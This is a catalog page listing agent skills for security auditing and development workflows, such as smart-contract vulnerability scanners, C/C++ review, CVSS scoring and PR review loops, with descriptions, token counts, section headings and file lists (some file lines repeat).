1,458 tokensWhen the skill is activated
Reference documents
2,495 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- The 5-Step Workflow
- How I Work
- Rationalizations (Do Not Skip)
- Example Output
- What You'll Get
- Getting Help
- Ready to Start
Files
SKILL.mdcore6,745 bytesagents/openai.yamlasset250 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/EXAMPLE_REPORT.mddoc7,374 bytesresources/WORKFLOW_STEPS.mddoc3,058 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsolana-vulnerability-scanner
When your agent uses it
Scans Solana programs for 6 critical vulnerabilities including arbitrary CPI, improper PDA validation, missing signer/ownership checks, and sysvar spoofing. Use when auditing Solana/Anchor programs.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
3,466 tokensWhen the skill is activated
Reference documents
4,721 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Purpose
- 2. When to Use This Skill
- 3. Platform Detection
- 4. How This Skill Works
- 5. Example Output
- 6. Vulnerability Patterns (6 Patterns)
- 7. Scanning Workflow
- 8. Reporting Format
- 9. Priority Guidelines
- 10. Testing Recommendations
- 11. Additional Resources
- 12. Quick Reference Checklist
- 13. Rationalizations to Reject
Files
SKILL.mdcore14,452 bytesSKILL.mdcore14,452 bytesSKILL.mdcore14,452 bytesSKILL.mdcore14,452 bytesSKILL.mdcore14,452 bytesSKILL.mdcore14,452 bytesagents/openai.yamlasset258 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/VULNERABILITY_PATTERNS.mddoc20,338 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsubstrate-vulnerability-scanner
When your agent uses it
Scans Substrate/Polkadot pallets for 7 critical vulnerabilities including arithmetic overflow, panic DoS, incorrect weights, and bad origin checks. Use when auditing Substrate runtimes or FRAME pallets.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
3,154 tokensWhen the skill is activated
Reference documents
5,969 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Purpose
- 2. When to Use This Skill
- 3. Platform Detection
- 4. How This Skill Works
- 5. Vulnerability Patterns (7 Critical Patterns)
- 6. Scanning Workflow
- 7. Priority Guidelines
- 8. Testing Recommendations
- 9. Additional Resources
- 10. Quick Reference Checklist
- 11. Rationalizations to Reject
Files
SKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesSKILL.mdcore12,800 bytesagents/openai.yamlasset258 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/VULNERABILITY_PATTERNS.mddoc24,903 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtoken-integration-analyzer
When your agent uses it
Token integration and implementation analyzer based on Trail of Bits' token integration checklist. Analyzes token implementations for ERC20/ERC721 conformity, checks for 20+ weird token patterns, assesses contract composition and owner privileges, performs on-chain scarcity analysis, and evaluates how protocols handle non-standard tokens. Use when integrating or accepting arbitrary ERC20/ERC721 tokens, auditing a token implementation for standards conformity, or assessing risk from weird tokens such as fee-on-transfer, rebasing, missing return values, or blocklists.
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
2,913 tokensWhen the skill is activated
Reference documents
4,159 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- How This Works
- Assessment Categories
- Example Output
- 4. ERC20 CONFORMITY
- 5. WEIRD TOKEN PATTERN ANALYSIS
Files
SKILL.mdcore12,720 bytesagents/openai.yamlasset247 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/ASSESSMENT_CATEGORIES.mddoc12,990 bytesresources/REPORT_TEMPLATES.mddoc3,289 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubton-vulnerability-scanner
When your agent uses it
Scans TON (The Open Network) smart contracts for 3 critical vulnerabilities including integer-as-boolean misuse, fake Jetton contracts, and forward TON without gas checks. Use when auditing FunC contracts.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
3,556 tokensWhen the skill is activated
Reference documents
4,862 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Purpose
- 2. When to Use This Skill
- 3. Platform Detection
- 4. How This Skill Works
- 5. Example Output
- 6. Vulnerability Patterns (3 Patterns)
- 7. Scanning Workflow
- 8. Reporting Format
- 9. Priority Guidelines
- 10. Testing Recommendations
- 11. Additional Resources
- 12. Quick Reference Checklist
- 13. Rationalizations to Reject
Files
SKILL.mdcore15,091 bytesSKILL.mdcore15,091 bytesSKILL.mdcore15,091 bytesSKILL.mdcore15,091 bytesSKILL.mdcore15,091 bytesagents/openai.yamlasset248 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/VULNERABILITY_PATTERNS.mddoc18,564 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubburpsuite-project-parser
When your agent uses it
Searches and explores Burp Suite project files (.burp) from the command line. Use when searching response headers or bodies with regex patterns, extracting security audit findings, dumping proxy history or site map data, or analyzing HTTP traffic captured in a Burp project.
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
4,182 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Prerequisites
- Quick Reference
- Sub-Component Filters (USE THESE)
- Regex Search Operations
- Other Operations
- Output Limits (REQUIRED)
- Investigation Workflow
- Understanding Results
- Rationalizations to Reject
- Output Format
- Examples
- Platform Configuration
Scripts executed separately
scripts/burp-search.sh
Files
SKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesSKILL.mdcore16,675 bytesagents/openai.yamlasset257 bytesassets/trail-of-bits-mark.svgasset3,084 bytesscripts/burp-search.shruns9,972 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubc-review
When your agent uses it
Performs comprehensive C/C++ security review for memory corruption, integer overflows, race conditions, and platform-specific vulnerabilities. Use when auditing native C/C++ applications, reviewing daemons or services for memory safety, or hunting integer overflow / use-after-free / race conditions in userspace code.
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
3,089 tokensWhen the skill is activated
Reference documents
5,189 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Phase 0 — Parameters
- Phase 1 — Resolve paths
- Phase 2 — Run the workflow
- Phase 3 — Return the report
- Rationalizations to Reject
Scripts executed separately
../../scripts/assemble_findings.py../../workflows/c-review.js
Files
../../AGENTS.mddoc20,950 bytes../../agents/c-review-worker.mddoc1,925 bytes../../scripts/assemble_findings.pyruns94,893 bytesSKILL.mdcore12,607 bytesSKILL.mdcore12,607 bytesSKILL.mdcore12,607 bytes../../workflows/c-review.jsruns131,395 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubchrome-mcp-troubleshooting
When your agent uses it
Diagnose and fix Claude in Chrome MCP extension connectivity issues. Use when mcp__claude-in-chrome__* tools fail, return "Browser extension is not connected", or behave erratically.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
2,568 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- The Claude.app vs Claude Code Conflict (Primary Issue)
- Quick Diagnosis
- Critical Insight
- Full Reset Procedure (Claude Code CLI)
- Other Common Causes
- Diagnostic Deep Dive
- File Reference
- Summary
Files
SKILL.mdcore10,274 bytesSKILL.mdcore10,274 bytesSKILL.mdcore10,274 bytesSKILL.mdcore10,274 bytesSKILL.mdcore10,274 bytesSKILL.mdcore10,274 bytesSKILL.mdcore10,274 bytesSKILL.mdcore10,274 bytesSKILL.mdcore10,274 bytesSKILL.mdcore10,274 bytesagents/openai.yamlasset242 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcode-improver
When your agent uses it
Runs an autonomous review-and-fix improvement loop over any code target — a skill, plugin, module, or directory — using a reviewer the user names: any installed skill or agent. Keeps a cross-round findings ledger, escalates when fixes stop converging, and guards scope mechanically. Use when asked to 'improve this code until review passes', 'run an improvement loop with <reviewer>', or to iterate review-and-fix with a specific reviewer. For skills prefer the skill-improver entry; for a branch prefer pr-improver.
What it loads into context
Frontmatter
163 tokensAlways available to the agent
SKILL.md
1,557 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Starting the loop
- Relaying the result
- Continuing after an escalation
- When NOT to use
Scripts executed separately
../../workflows/improve.js
Files
SKILL.mdcore6,487 bytes../../workflows/improve.jsruns68,114 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpr-improver
When your agent uses it
Runs an autonomous review-and-fix improvement loop over the current branch's changes until a PR review comes back clean, scoped mechanically to the directories the branch touched. Reviews are performed by an installed PR-review skill (default: pr-review-toolkit's review-pr). Use to fix review findings on a branch before opening or updating a pull request ('clean up this branch', 'fix this PR until review passes', 'run review-and-fix on my changes'). NOT for a one-time review — run the PR-review skill directly.
What it loads into context
Frontmatter
150 tokensAlways available to the agent
SKILL.md
1,603 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Starting the loop
- Relaying the result
- Continuing after an escalation
- When NOT to use
Scripts executed separately
../../workflows/improve.js
Files
SKILL.mdcore6,705 bytes../../workflows/improve.jsruns68,114 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubskill-improver
When your agent uses it
Runs an autonomous review-and-fix improvement loop over a Claude Code skill until a review comes back clean, with a cross-round findings ledger, escalation when fixes stop converging, and a mechanical scope guard. Reviews are performed by the plugin-dev skill-reviewer agent. Use to fix skill quality issues, iteratively refine a skill, or resume a loop after an escalation ('fix my skill', 'improve this skill until it passes review', 'skill improvement loop'). NOT for a one-time review — use the plugin-dev skill-reviewer agent directly.
What it loads into context
Frontmatter
149 tokensAlways available to the agent
SKILL.md
1,758 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Starting the loop
- Relaying the result
- Continuing after an escalation
- What the loop enforces (so you do not have to)
- When NOT to use
Scripts executed separately
../../workflows/improve.js
Files
SKILL.mdcore7,419 bytes../../workflows/improve.jsruns68,114 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreview-pr
When your agent uses it
Reviews the current branch's changes against its base branch as a pull request: correctness of new and modified code, test coverage for it, and documentation accuracy. Use when asked to review a branch, a diff, or a pull request.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
270 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore1,215 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpanel-review
When your agent uses it
Reviews a code target by launching a panel of specialist auditor agents and merging their reports. Use when asked to run a panel review.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
210 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
SKILL.mdcore948 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubconstant-time-analysis
When your agent uses it
Detects timing side-channel vulnerabilities in cryptographic code. Use when implementing or reviewing crypto code, encountering division on secrets, secret-dependent branches, or constant-time programming questions in C, C++, Go, Rust, Swift, Java, Kotlin, C#, PHP, JavaScript, TypeScript, Python, or Ruby.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
3,066 tokensWhen the skill is activated
Reference documents
14,184 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Language Routing
- Running the Analyzer
- Interpreting Results
- Triaging Findings
- Limitations
- Real-World Impact
- References
Files
README.mddoc4,931 bytesSKILL.mdcore13,204 bytesSKILL.mdcore13,204 bytesSKILL.mdcore13,204 bytesSKILL.mdcore13,204 bytesSKILL.mdcore13,204 bytesSKILL.mdcore13,204 bytesSKILL.mdcore13,204 bytesagents/openai.yamlasset240 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/compiled.mddoc4,108 bytesreferences/javascript.mddoc4,449 bytesreferences/kotlin.mddoc6,784 bytesreferences/php.mddoc5,258 bytesreferences/python.mddoc5,261 bytesreferences/ruby.mddoc5,391 bytesreferences/swift.mddoc8,194 bytesreferences/vm-compiled.mddoc11,557 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubinterpreting-culture-index
When your agent uses it
Interprets Culture Index (CI) surveys, behavioral profiles, and personality assessment data. Supports individual profile interpretation, team composition analysis (gas/brake/glue), burnout detection, profile comparison, hiring profiles, manager coaching, interview transcript analysis for trait prediction, candidate debrief, onboarding planning, and conflict mediation. Accepts extracted JSON or PDF input via OpenCV extraction script. Use when the user shares a Culture Index PDF or JSON profile, asks what someone's CI traits mean, compares Culture Index profiles across a team or against a hiring profile, or asks about burnout risk from Survey-versus-Job gaps.
What it loads into context
Frontmatter
140 tokensAlways available to the agent
SKILL.md
3,712 tokensWhen the skill is activated
Reference documents
53,632 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
Scripts executed separately
scripts/check_deps.pyscripts/culture_index/__init__.pyscripts/culture_index/constants.pyscripts/culture_index/extract.pyscripts/culture_index/models.pyscripts/culture_index/opencv_extractor.pyscripts/extract_pdf.py
Files
SKILL.mdcore14,303 bytesSKILL.mdcore14,303 bytesSKILL.mdcore14,303 bytesSKILL.mdcore14,303 bytesagents/openai.yamlasset246 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/anti-patterns.mddoc8,318 bytesreferences/archetype-administrator.mddoc3,786 bytesreferences/archetype-coordinator.mddoc4,007 bytesreferences/archetype-craftsman.mddoc3,732 bytesreferences/archetype-daredevil.mddoc3,388 bytesreferences/archetype-debater.mddoc4,169 bytesreferences/archetype-facilitator.mddoc3,818 bytesreferences/archetype-influencer.mddoc2,919 bytesreferences/archetype-operator.mddoc3,725 bytesreferences/archetype-persuader.mddoc3,517 bytesreferences/archetype-philosopher.mddoc3,675 bytesreferences/archetype-rainmaker.mddoc2,673 bytesreferences/archetype-scholar.mddoc4,173 bytesreferences/archetype-socializer.mddoc3,403 bytesreferences/archetype-specialist.mddoc4,237 bytesreferences/archetype-technical-expert.mddoc3,783 bytesreferences/archetype-traditionalist.mddoc3,745 bytesreferences/archetype-trailblazer.mddoc4,119 bytesreferences/conversation-starters.mddoc9,781 bytesreferences/interview-trait-signals.mddoc8,335 bytesreferences/motivators.mddoc6,729 bytesreferences/patterns-archetypes.mddoc6,817 bytesreferences/primary-traits.mddoc12,828 bytesreferences/secondary-traits.mddoc8,540 bytesreferences/team-composition.mddoc6,298 bytesscripts/check_deps.pyruns2,647 bytesscripts/culture_index/__init__.pyruns564 bytesscripts/culture_index/constants.pyruns3,724 bytesscripts/culture_index/extract.pyruns5,777 bytesscripts/culture_index/models.pyruns371 bytesscripts/culture_index/opencv_extractor.pyruns15,966 bytesscripts/extract_pdf.pyruns7,148 bytesscripts/pyproject.tomlasset422 bytesscripts/uv.lockasset68,183 bytestemplates/burnout-report.mddoc3,234 bytestemplates/comparison-report.mddoc3,351 bytestemplates/hiring-profile.mddoc4,040 bytestemplates/individual-report.mddoc2,589 bytestemplates/predicted-profile.mddoc5,718 bytestemplates/team-report.mddoc3,168 bytesworkflows/analyze-team.mddoc5,250 bytesworkflows/coach-manager.mddoc8,999 bytesworkflows/compare-profiles.mddoc6,390 bytesworkflows/define-hiring-profile.mddoc7,742 bytesworkflows/detect-burnout.mddoc6,250 bytesworkflows/extract-from-pdf.mddoc3,975 bytesworkflows/interpret-individual.mddoc5,809 bytesworkflows/interview-debrief.mddoc7,681 bytesworkflows/mediate-conflict.mddoc10,146 bytesworkflows/plan-onboarding.mddoc9,447 bytesworkflows/predict-from-interview.mddoc8,166 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcvss-scoring
When your agent uses it
Produces CVSS v4.0 vector strings from plain-text vulnerability descriptions by systematically evaluating base metrics. Use when scoring a vulnerability, generating a CVSS vector, or estimating severity.
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
3,494 tokensWhen the skill is activated
Reference documents
7,526 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Input Validation
- Rationalizations to Reject
- Input Handling
- Scoring Workflow
- Output Format
- Self-Check Checklist
- Calculator
Scripts executed separately
.calcifier/recipe.py
Files
.calcifier/recipe.pyruns10,117 bytesSKILL.mdcore15,242 bytesSKILL.mdcore15,242 bytesSKILL.mdcore15,242 bytesreferences/examples.mddoc13,924 bytesreferences/metrics.mddoc14,819 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdevcontainer-setup
When your agent uses it
Creates devcontainers with Claude Code, language-specific tooling (Python/Node/Rust/Go), and persistent volumes. Use when adding devcontainer support to a project, setting up isolated development environments, or configuring sandboxed Claude Code workspaces.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
2,021 tokensWhen the skill is activated
Reference documents
942 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Workflow
- Phase 1: Project Reconnaissance
- Phase 2: Generate Configuration
- Base Template Features
- Language-Specific Sections
- Reference Material
- Adding Persistent Volumes
- Output Files
- Validation Checklist
- User Instructions
Scripts executed separately
resources/Dockerfileresources/install.shresources/post_install.py
Files
SKILL.mdcore8,060 bytesSKILL.mdcore8,060 bytesSKILL.mdcore8,060 bytesSKILL.mdcore8,060 bytesagents/openai.yamlasset239 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/dockerfile-best-practices.mddoc3,341 bytesreferences/features-vs-dockerfile.mddoc675 bytesresources/.zshrcasset1,869 bytesresources/Dockerfileruns3,885 bytesresources/devcontainer.jsonasset2,584 bytesresources/install.shruns23,116 bytesresources/post_install.pyruns8,606 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdifferential-review
When your agent uses it
Performs security-focused differential review of code changes. Adapts analysis depth to codebase size, uses git blame for context, calculates blast radius by counting callers, checks test coverage of modified code, and generates a markdown report. Use when reviewing a PR, commit, or diff for security vulnerabilities, checking whether a change re-introduces a previously fixed bug, asking what else a change could break, or finding which modified code has no test covering it.
What it loads into context
Frontmatter
109 tokensAlways available to the agent
SKILL.md
1,738 tokensWhen the skill is activated
Reference documents
6,399 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Rationalizations (Do Not Skip)
- Quick Reference
- Workflow Overview
- Decision Tree
- Agents
- Quality Checklist
- Integration
- Example Usage
- When NOT to Use This Skill
- Red Flags (Stop and Investigate)
- Tips for Best Results
- Supporting Documentation
Files
SKILL.mdcore7,439 bytesadversarial.mddoc5,062 bytesagents/openai.yamlasset245 bytesassets/trail-of-bits-mark.svgasset3,084 bytesmethodology.mddoc6,738 bytespatterns.mddoc6,999 bytesreporting.mddoc7,006 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdimensional-analysis
When your agent uses it
Audits code for unit and decimal-scaling bugs and annotates it with dimensional comments recording the units of each value. Use when someone asks to audit or review code for unit confusion, decimals or scaling mismatches, WAD/RAY scale errors, or the wrong token's decimals; to annotate units in a codebase; or to perform a dimensional analysis of a DeFi protocol, offchain code, or other arithmetic-heavy codebase. Catches formulas that combine values carrying different units or scales.
What it loads into context
Frontmatter
120 tokensAlways available to the agent
SKILL.md
2,214 tokensWhen the skill is activated
Reference documents
27,099 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Host and dependency contract
- Execution Mode
- Scope and Coverage Guarantees
- Annotation Format
- When to Use
- When NOT to Use
- Reporting Scope
- Red Flags
- Rationalizations to Reject
- Workflow Steps (Phases 1-4)
- Reference Documentation
- Final Output
Scripts executed separately
.calcifier/recipe.py
Files
../../agents/arithmetic-scanner.mddoc11,046 bytes../../agents/dimension-annotator.mddoc8,808 bytes../../agents/dimension-discoverer.mddoc7,947 bytes../../agents/dimension-propagator.mddoc9,878 bytes../../agents/dimension-validator.mddoc12,918 bytes.calcifier/recipe.pyruns15,418 bytesSKILL.mdcore9,895 bytesSKILL.mdcore9,895 bytesSKILL.mdcore9,895 bytesagents/openai.yamlasset245 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/annotate.mddoc11,953 bytesreferences/bug-patterns.mddoc11,930 bytesreferences/common-dimensions.mddoc7,524 bytesreferences/dimension-algebra.mddoc6,500 bytesreferences/step1.mddoc5,232 bytesreferences/step2.mddoc3,682 bytesreferences/step3.mddoc4,027 bytesreferences/step4.mddoc6,697 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdwarf-expert
When your agent uses it
Analyzes DWARF debug information in compiled binaries. Use when inspecting .debug_* sections, DIE trees, or DW_TAG_/DW_AT_ entries with dwarfdump/llvm-dwarfdump or readelf, verifying debug info with llvm-dwarfdump --verify, answering DWARF standard questions, or writing code that parses DWARF (libdwarf, pyelftools, gimli).
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
1,559 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Searching DIEs
Files
SKILL.mdcore6,020 bytesagents/openai.yamlasset232 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubentry-point-analyzer
When your agent uses it
Analyzes smart contract codebases to identify state-changing entry points for security auditing. Detects externally callable functions that modify state, categorizes them by access level (public, admin, role-restricted, contract-only), and generates structured audit reports. Excludes view/pure/read-only functions. Use when auditing smart contracts (Solidity, Vyper, Solana/Rust, Move, TON, CosmWasm) or when asked to find entry points, audit flows, external functions, access control patterns, or privileged operations.
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
2,418 tokensWhen the skill is activated
Reference documents
7,813 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Execution in Codex
- When to Use
- When NOT to Use
- Scope: State-Changing Functions Only
- Workflow
- Slither Integration (Solidity)
- Language Detection
- Access Classification
- Output Format
- Filtering
- Analysis Guidelines
- Common Role Patterns by Protocol Type
- Rationalizations to Reject
- Error Handling
Files
SKILL.mdcore10,603 bytesSKILL.mdcore10,603 bytesSKILL.mdcore10,603 bytesSKILL.mdcore10,603 bytesagents/openai.yamlasset238 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/cosmwasm.mddoc5,477 bytesreferences/move-aptos.mddoc4,009 bytesreferences/move-sui.mddoc3,531 bytesreferences/solana.mddoc4,810 bytesreferences/solidity.mddoc5,689 bytesreferences/ton.mddoc5,058 bytesreferences/vyper.mddoc4,306 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfirebase-apk-scanner
When your agent uses it
Scans Android APKs for Firebase security misconfigurations including open databases, storage buckets, authentication issues, and exposed cloud functions. Use when analyzing APK files for Firebase vulnerabilities, performing mobile app security audits, or testing Firebase endpoint security. For authorized security research only.
What it loads into context
Frontmatter
108 tokensAlways available to the agent
SKILL.md
1,466 tokensWhen the skill is activated
Reference documents
5,684 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Reference Documentation
- How to Use This Skill
- Workflow
- Scan Summary
- Extracted Configuration
- Vulnerabilities Found
- Remediation
- Manual Testing (If Scanner Fails)
- Severity Classification
- Important Guidelines
Scripts executed separately
scanner.sh
Files
SKILL.mdcore6,753 bytesSKILL.mdcore6,753 bytesSKILL.mdcore6,753 bytesagents/openai.yamlasset238 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/manual-fallback.mddoc1,511 bytesreferences/vulnerabilities.mddoc21,033 bytesscanner.shruns52,242 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfp-check
When your agent uses it
Systematically verifies suspected security bugs to eliminate false positives, producing a TRUE POSITIVE or FALSE POSITIVE verdict with documented evidence for each. Use when asked whether a specific finding is real, exploitable, or a false positive, or to verify or validate a suspected vulnerability — not for hunting or discovering new bugs.
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
1,406 tokensWhen the skill is activated
Reference documents
6,950 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Step 0: Understand the Claim and Context
- Route: Standard vs Deep Verification
- Batch Triage
- Final Summary
- References
Files
SKILL.mdcore6,747 bytesSKILL.mdcore6,747 bytesSKILL.mdcore6,747 bytesagents/openai.yamlasset245 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/bug-class-verification.mddoc8,041 bytesreferences/deep-verification.mddoc8,810 bytesreferences/evidence-templates.mddoc2,973 bytesreferences/false-positive-patterns.mddoc7,052 bytesreferences/gate-reviews.mddoc1,936 bytesreferences/standard-verification.mddoc4,521 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgh-cli
When your agent uses it
Enforces authenticated gh CLI workflows over unauthenticated curl, WebFetch, and MCP fetch patterns. Use when working with GitHub URLs, API access, pull requests, or issues.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
299 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Guidance
Files
SKILL.mdcore1,242 bytesSKILL.mdcore1,242 bytesagents/openai.yamlasset219 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgithub-triage
When your agent uses it
Triages a repository's open GitHub issues and pull requests via the gh CLI. Optionally reviews and merges ready PRs — incrementally merging passing automated/bot PRs and maintainer-approved ones, and spawning review subagents for never-reviewed ones — then closes already-resolved issues with comments citing the resolving PR or commit, cross-links issues with their pending fix PRs, and assigns local-only priority and change-size estimates for everything outstanding. Use when triaging, grooming, or reviewing a repository's open issues and PRs.
What it loads into context
Frontmatter
137 tokensAlways available to the agent
SKILL.md
5,858 tokensWhen the skill is activated
Reference documents
792 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Core Principles
- Workflow
- Safety Rules
- Rationalizations to Reject
Scripts executed separately
.calcifier/recipe.py
Files
.calcifier/recipe.pyruns11,860 bytesSKILL.mdcore23,191 bytesSKILL.mdcore23,191 bytesSKILL.mdcore23,191 bytesSKILL.mdcore23,191 bytesSKILL.mdcore23,191 bytesSKILL.mdcore23,191 bytesSKILL.mdcore23,191 bytesSKILL.mdcore23,191 bytesSKILL.mdcore23,191 bytesSKILL.mdcore23,191 bytesagents/openai.yamlasset222 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/reviewing-prs.mddoc3,150 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgoal-prompt
When your agent uses it
Drafts copy-paste-ready /goal commands for goal mode in Claude Code and Codex. Use when the user asks to create, write, rewrite, improve, compress, clean up, or prepare a goal prompt, goal condition, /goal command, goal-mode objective, or copy-ready long-running task objective.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
1,335 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Draft
- Close the easy-outs
- Security research goals
- Format
- Example
Scripts executed separately
scripts/format_goal_prompt.pyscripts/test_format_goal_prompt.py
Files
